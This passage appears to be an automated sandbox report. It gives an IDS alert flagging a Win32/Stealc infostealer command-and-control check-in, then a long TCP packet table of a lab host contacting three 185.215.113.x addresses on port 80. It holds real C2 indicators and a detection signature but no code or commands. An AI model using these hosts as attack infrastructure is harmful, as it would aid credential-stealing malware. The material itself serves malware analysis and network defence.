2024-09-25T10:34:00.223240+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	64708	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 10:33:07.713176966 CEST	49748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:07.717994928 CEST	80	49748	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:07.718071938 CEST	49748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:07.718255997 CEST	49748	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:07.723014116 CEST	80	49748	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:07.723026991 CEST	80	49748	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:09.233568907 CEST	49749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:09.238409042 CEST	80	49749	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:09.240451097 CEST	49749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:09.240581989 CEST	49749	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:09.245312929 CEST	80	49749	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:09.245557070 CEST	80	49749	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:10.874357939 CEST	49750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:10.879220009 CEST	80	49750	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:10.879375935 CEST	49750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:10.879509926 CEST	49750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:10.884273052 CEST	80	49750	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:11.607567072 CEST	80	49750	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:11.607701063 CEST	49750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:13.180886984 CEST	49750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:13.181504011 CEST	49754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:13.186163902 CEST	80	49750	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:13.186283112 CEST	80	49754	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:13.186359882 CEST	49750	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:13.186570883 CEST	49754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:13.191497087 CEST	80	49754	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:13.191771030 CEST	49754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:13.228739023 CEST	49754	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:13.233664989 CEST	80	49754	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:14.860949993 CEST	49755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:14.865737915 CEST	80	49755	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:14.865883112 CEST	49755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:14.871054888 CEST	80	49755	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:14.871134996 CEST	49755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:14.871412039 CEST	49755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:14.871539116 CEST	49755	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:14.876153946 CEST	80	49755	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:14.876462936 CEST	80	49755	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:16.374500036 CEST	49756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:16.379463911 CEST	80	49756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:16.379607916 CEST	49756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:16.379920006 CEST	49756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:16.384749889 CEST	80	49756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:16.384860039 CEST	80	49756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:16.384933949 CEST	49756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:16.384933949 CEST	49756	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:16.389760017 CEST	80	49756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:16.389784098 CEST	80	49756	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:18.014931917 CEST	64679	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:18.020380974 CEST	80	64679	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:18.020462990 CEST	64679	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:18.020944118 CEST	64679	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:18.026981115 CEST	80	64679	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:18.732594013 CEST	80	64679	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:18.732707977 CEST	64679	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:20.250899076 CEST	64679	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:20.251137972 CEST	64680	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:20.540375948 CEST	80	64680	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:20.540493965 CEST	64680	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:20.540565014 CEST	80	64679	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:20.540625095 CEST	64679	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:20.540873051 CEST	64680	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:20.545811892 CEST	80	64680	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:21.253525972 CEST	80	64680	185.215.113.43	192.168.2.6
Sep 25, 2024 10:33:21.253664970 CEST	64680	80	192.168.2.6	185.215.113.43
Sep 25, 2024 10:33:21.258011103 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.262948036 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.263068914 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.263263941 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.268085003 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.971822023 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.971889019 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.971939087 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.971959114 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.971973896 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.971990108 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.972009897 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.972034931 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.972045898 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.972060919 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.972079992 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.972094059 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.972115040 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.972119093 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.972148895 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.972170115 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.972186089 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.972187996 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.972233057 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.977611065 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.977646112 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:21.977704048 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:21.977731943 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.095943928 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.095968008 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.095983028 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096009970 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096045971 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096138954 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096154928 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096173048 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096183062 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096205950 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096224070 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096616983 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096662045 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096719980 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096735001 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096750021 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096760988 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096766949 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.096777916 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096796989 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.096808910 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.097445965 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.097490072 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.097496033 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.097506046 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.097529888 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.097543955 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.097544909 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.097560883 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.097686052 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.098160982 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.098176003 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.098191023 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.098203897 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.098213911 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.098216057 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.098237991 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.098241091 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.098249912 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.098279953 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.099087954 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.099144936 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.100977898 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.101003885 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.101037025 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.101066113 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.186495066 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.186516047 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.186633110 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.220330000 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220374107 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220388889 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220402956 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220417976 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220432997 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220443964 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.220478058 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.220818043 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220834017 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220855951 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220869064 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.220870018 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220885038 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220897913 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.220923901 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.220949888 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.220990896 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221057892 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221072912 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221086979 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221101999 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221103907 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221117020 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221118927 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221139908 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221139908 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221155882 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221163988 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221172094 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221185923 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221198082 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221220016 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221729994 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221755028 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221767902 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221781969 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221808910 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221811056 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221827030 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221839905 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221849918 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221856117 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221880913 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221888065 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221908092 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221935034 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221939087 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221954107 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221968889 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221977949 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.221986055 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.221996069 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.222023010 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.222033978 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.222965956 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223020077 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.223171949 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223186970 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223208904 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223222971 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223226070 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.223238945 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223241091 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.223253965 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.223253965 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223270893 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223278999 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.223285913 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223299026 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223311901 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.223315001 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223330975 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.223340988 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.223359108 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.223397970 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.311070919 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.311119080 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.311249018 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.311249018 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.344733953 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.344800949 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.344836950 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.344870090 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.344903946 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.344913960 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.344937086 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.344944954 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.344974041 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.344990015 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345001936 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345026016 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345048904 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345057964 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345084906 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345096111 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345107079 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345129013 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345161915 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345180035 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345181942 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345211983 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345236063 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345263004 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345271111 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345298052 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345308065 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345331907 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345345974 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345365047 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345379114 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345411062 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345421076 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345454931 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345468998 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345496893 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345504999 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345540047 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345556021 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345572948 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345594883 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345608950 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345621109 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345657110 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345696926 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345743895 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345747948 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345783949 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345813990 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345829010 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345835924 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345873117 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345887899 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345916986 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345925093 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345958948 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.345974922 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.345994949 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346004009 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346030951 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346044064 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346076012 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346299887 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346333027 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346355915 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346374035 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346385956 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346419096 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346431971 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346452951 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346463919 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346487045 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346503973 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346522093 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346537113 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346555948 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346569061 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346602917 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346779108 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346811056 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346832991 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346846104 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346853018 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346879959 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.346890926 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.346926928 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347003937 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347037077 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347054958 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347079039 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347085953 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347120047 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347136021 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347165108 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347172022 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347203970 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347223997 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347251892 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347254992 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347287893 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347301006 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347323895 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347328901 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347357988 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347368956 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347404957 CEST	64681	80	192.168.2.6	185.215.113.103
Sep 25, 2024 10:33:22.347446918 CEST	80	64681	185.215.113.103	192.168.2.6
Sep 25, 2024 10:33:22.347482920 CEST	80	64681	185.215.113.103	192.168.2.6
